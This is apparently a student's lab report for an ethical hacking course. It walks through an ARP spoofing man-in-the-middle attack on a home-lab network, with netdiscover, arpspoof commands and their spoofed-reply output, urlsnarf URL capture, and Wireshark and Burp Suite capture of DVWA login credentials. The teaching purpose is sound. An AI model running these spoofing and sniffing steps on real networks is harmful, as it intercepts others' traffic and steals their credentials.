Antonio Shields CYSE 450 Assignment # 7 March 19, 2024

# Assignment 7 – Packet Sniffing

## **CYSE 450 Ethical Hacking and Penetration Testing**

### Task: Performing an ARP Spoofing Attack

1. Power on and login to Kali Linux and Metasploitable2 (Target Machine) [NOTE: You can choose

windows XP/7 as an alternative for metasploitable2, if you want]

metasploitable2 [Running] - Oracle VM VirtualBox X To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. msfadmin@metasploitable:~\$ ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:70:65:c7 inet addr: 192.168.1.230 Bcast: 192.168.1.255 Mask: 255.255.255.0 inet6 addr: fe80::a00:27ff:fe70:65c7/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1659 errors:0 dropped:0 overruns:0 frame:0 TX packets:80 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:139814 (136.5 KB) TX bytes:7770 (7.5 KB) Base address:0xd020 Memory:f0200000-f0220000 10 Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:99 errors:0 dropped:0 overruns:0 frame:0 TX packets:99 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:23621 (23.0 KB) TX bytes:23621 (23.0 KB) msfadmin@metasploitable:~\$

2. Open a root terminal on the Kali Linux virtual machine and discover the IP addresses of the other machines on the network to spoof them (that is, pretend to be them) using netdiscover tool/command.

Currently scanning: 192.168.3.0/16   Screen View: Unique Hosts 28 Captured ARP Req/Rep packets, from 22 hosts. Total size: 1680					
IP	At MAC Address	Count	Len	MAC Vendor / Hostname	
192.168.1.165 192.168.1.1 192.168.1.1 192.168.1.155 192.168.1.155 192.168.1.156 192.168.1.12 192.168.1.174 192.168.1.174 192.168.1.180 192.168.1.180 192.168.1.189 192.168.1.194 192.168.1.194 192.168.1.194 192.168.1.169 192.168.1.190 192.168.1.251 192.168.1.207 192.168.1.207	08:00:27:70:65:c7	1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	60	PCS Systemtechnik GmbH	
192.168.1.162		1			

3. You need to allow the Kali Linux machine to forward packets on behalf of other machines by enabling

IP forwarding. Make sure that you're a root user on Kali Linux, and then enable IP

forwarding by setting the IP forwarding flag.



<pre>(root@kali-virtualbox1)-[~]     # ifconfig eth0 promisc</pre>
<pre>(root@kali-virtualbox1)-[~] # ifconfig</pre>
eth0: flags=4419 <up,broadcast,running,promisc,multicast> mtu 1500 inet 192.168.1.201 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::a00:27ff:fe2e:c7a8 prefixlen 64 scopeid 0×20<link/> ether 08:00:27:2e:c7:a8 txqueuelen 1000 (Ethernet) RX packets 125866 bytes 11272905 (10.7 MiB) RX errors 0 dropped 4 overruns 0 frame 0 TX packets 59081 bytes 3563990 (3.3 MiB)</up,broadcast,running,promisc,multicast>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73 <up,loopback,running> mtu 65536</up,loopback,running>
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

4. Generate multiple fake ARP replies by running the following command (in root terminal):

### arpspoof -i eth0 -t IP-address\_of\_Victim IP address of-Gateway

```
? (192.168.1.251) at b8:b4:09:b6:60:0a [ether] on eth0
DESKTOP-8N1DM8N (192.168.1.174) at 70:9c:d1:3a:61:fa [ether] on eth0
G3100.mynetworksettings.com (192.168.1.1) at b8:f8:53:f0:65:c1 [ether] on eth0
? (192.168.1.230) at 08:00:27:70:65:c7 [ether] on eth0
Samsung (192.168.1.166) at c8:12:0b:29:b8:98 [ether] on eth0
    arpspoof -i eth0 -t 192.168.1.230 192.168.1.1
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
8:0:27:2e:c7:a8 8:0:27:70:65:c7 0806 42: arp reply 192.168.1.1 is-at 8:0:27:2e:c7:a8
```

5. Also trick the router into believing you are the victim so that you can intercept incoming internet

traffic on the victim's behalf. Open a new root terminal and run the command that follows:

#### arpspoof -i eth0 -t IP address of-Gateway IP-address\_of\_Victim

-(root@kali-	irtualboxi)-[~]							
arpspoof -i	eth0 -t 192.168.1.	1 192	2.168	3.1.2	230			
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8
8:0:27:2e:c7:a8	b8:f8:53:f0:65:c1	0806	42:	arp	reply	192.168.1.230	is-at	8:0:27:2e:c7:a8

6. Check the Arp table in the target Machine. Did you notice any changes in the MAC address for the

gateway? Yes, below shows the arp -a command before the arp spoof command was used and after the arp -a command was used. The MAC address of the Gateway router changed to the attacker kali's MAC address when the arp spoof command was used.

msfadmin@metasploitable:~\$ arp -a DESKTOP-8N1DM8N (192.168.1.174) at 70:9C:D1:3A:61:FA [ether] on eth0 kali-virtualbox1 (192.168.1.201) at 08:00:27:2E:C7:A8 [ether] on eth0 G3100.mynetworksettings.com (192.168.1.1) at B8:F8:53:F0:65:C1 [ether] on eth0 msfadmin@metasploitable:~\$ arp -a kali-virtualbox1 (192.168.1.201) at 08:00:27:2E:C7:A8 [ether] on eth0 G3100.mynetworksettings.com (192.168.1.1) at 08:00:27:2E:C7:A8 [ether] on eth0 G3100.mynetworksettings.com (192.168.1.1) at 08:00:27:2E:C7:A8 [ether] on eth0

7. In another terminal in Kali VM, type the following command to Extract the URLs running.

<pre>(ashie005@ kali-virtualbox1)-[~] _\$ sudo urlsnarf -i eth0</pre>	
[sudo] password for ashie005:	
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]	
kali-virtualbox1 [19/Mar/2024:16:12:12 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:12 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:12 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:12 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:14 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:14 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:14 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:14 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:15 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:16 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:16 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:23 -0400] "GET http://192.168.1.230/ HTTP/1.1" "-" "Moz	illa/5.0 (X
kali-virtualbox1 [19/Mar/2024:16:12:32 -0400] "GET http://192.168.1.230/favicon.ico HTTP/1.1" -	- "http://
kali-virtualbox1 [19/Mar/2024:16:12:32 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:32 -0400] "POST http://r3.o.lencr.org/ HTTP/1.1" "-" "M	ozilla/5.0
kali-virtualbox1 [19/Mar/2024:16:12:33 -0400] "POST http://ocsp.pki.goog/gts1c3 HTTP/1.1" "	-" "Mozilla
kali-virtualbox1 [19/Mar/2024:16:12:33 -0400] "POST http://ocsp.pki.goog/gts1c3 HTTP/1.1" "	-" "Mozilla

8. Open a browser in kali Linux and type the IP address of Metasploitable2 (Target Machine).

Then go to DVWA page. Login using username : admin and password : password (These

should be provided in the same login page of DVWA)

🔿 🔒 🕶 192.168.1.230/dvwa/login.php	
li Docs 🕱 Kali Forums 🛛 🧒 Kali NetHunter 🥌 Exploit-DB 🛸 Google Hacking	DB 🍈 OffSec
	DVWA
	Username
	admin
	Password
	•••••
	Login
	Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project
	Hint: default username is 'admin' with password 'password'

9. Now open **Wireshark** and analyze **HTTP POST** packet to capture the credentials you used to login to DVWA page in Metasploitable2 VM. Please submit the screenshot.

	*eth0	0 0 8
<u>File Edit View Go Capture Analyze Statis</u>	tics Telephon <u>y W</u> ireless <u>T</u> ools <u>H</u> elp	
▲■▲◎ ⊑ 🖬 🖄 🙆 ۹ ↔	→ ∩ ·← → 🜉 🔳 🛛 🖬 🛛	
http		×
No. Time Source	Destination Protocol	Length Info
1437 35.925976383 192.168.1.230 1439 35.934132950 192.168.1.230 1441 35.946604354 192.168.1.230 1852 56.175402054 192.168.1.230 1852 56.186471935 192.168.1.230 1859 56.233734380 192.168.1.201 1859 56.233734380 192.168.1.201 8679 419.01899099 192.168.1.230 8683 419.041769917 192.168.1.230 8683 419.0420983684 192.168.1.230 9187 449.897210770 192.168.1.201 9189 440.909284837 192.168.1.230 9191 441.001361920 192.168.1.230 9191 441.001361920 192.168.1.230 9194 441.011837378 192.168.1.230 9194 441.011837378 192.168.1.230 9194 441.011837378 192.168.1.230 9197 tether Protocol Version 4, Src: 11 Frame 9187: 674 bytes on wire (5392 Ethernet II, Src: PCSsystemtec_2e:ci Internet Protocol Version 4, Src: 12 HTML Form URL Encoded: application/: HTML Form URL Encoded: application/: Form item: "username" = "admin" Form item: "Login" = "Login"	192.168.1.201 HTTP 192.168.1.201 HTTP	458 HTTP/1.1 302 Found         530 GET /dtwa/login.php HTTP/1.1         1748 HTTP/1.1 200 0K (text/html)         674 POST /dtwa/login.php HTTP/1.1 (application/         458 HTTP/1.1 302 Found         530 GET /dtwa/login.php HTTP/1.1         654 HTTP/1.1 200 0K (text/html)         531 GET /dtwa/login.php HTTP/1.1         458 HTTP/1.1 200 0K (text/html)         531 GET /dtwa/login.php HTTP/1.1         458 HTTP/1.1 200 0K (text/html)         530 GET /dtwa/login.php HTTP/1.1         1748 HTTP/1.1 200 0K (text/html)         674 POST /dtwa/login.php HTTP/1.1         1748 HTTP/1.1 200 0K (text/html)         674 POST /dtwa/login.php HTTP/1.1         1748 HTTP/1.1 200 0K (text/html)         674 POST /dtwa/login.php HTTP/1.1         2102 HTTP/1.1 200 0K (text/html)         530 GET /dtwa/index.php HTTP/1.1         2102 HTTP/1.1 200 0K (text/html)         2102 HTTP/1.1 200 0K (text/html)         2102 HTTP/1.1 200 0K (text/html)         2102 HTTP/1.1 1 200 0K (text/html)         2102 HTTP/1.1 200 0K (text/html)         2102 HTTP/1.1 1 200 0K (text/html)         2102 HTTP/1.1 200 0K (text/html)         2102 HTTP/1.1 1 200 0K (text/html)         2102 HTTP/1.1 200 0K (text/html)         2103 0 an 20 4d 6f 7a 49 6c 6c         0060 0
		0130 4c 61 6e 67 75 61 67 ( 0140 65 6e 3b 71 3d 30 2e 3
🛛 🔍 🖬 🛛 Hypertext Transfer Protocol (http), 564 by	e(s)	Packets: 10375 · Displayed: 16 (0.2%) Profile: Default

10. Open **Burp Suite** in Kali Linux to harvest the credentials - username and password and highlight those in the screenshot. **NOTE:** You need to turn on the intercept in burp suite Proxy.

😤   📰 🗖 🍃 🍏 🕒 v   1 2 3 4   🛐 🕥 🕞	
Burp	p Suite Community Edition v2023.12.1.3 - Temporary Project
Burp Project Intruder Repeater View Help	
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder C	Comparer Logger Organizer Extensions Learn
Intercept HTTP history WebSockets history 🔞 Proxy settings	
0	Logging of out-of-scope Proxy traffic is disabled Re-enable
Request to http://192.168.1.230:80	
Forward Drop Intercept is on Action Open browser	
Pretty Raw Hex	
1 POST /dvwa/login.php HTTP/1.1	
<pre>2 Inst: 192:100.1.200 3 Content-Length: 44 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 Origin: http://192.168.1.230 7 Content-Type: application/x-www-form-urlencoded 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im 10 Referer: http://192.168.1.230/dvwa/login.php 11 Accept-Encoding:gip, deflate, br 12 Accept-Lenguage: en-US,en;q=0.9 13 Cookie: security=high; PHPSESSID=e3706d2834f52d5dc7506803ellacac0 14 Connection: close 15 15 16 Content in the security in the security is a security</pre>	Gecko) Chrome/121.0.6167.85 Safari/537.36 mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 USCH Hame-aumikingkassevi u-passevi uurugiti-Luğin	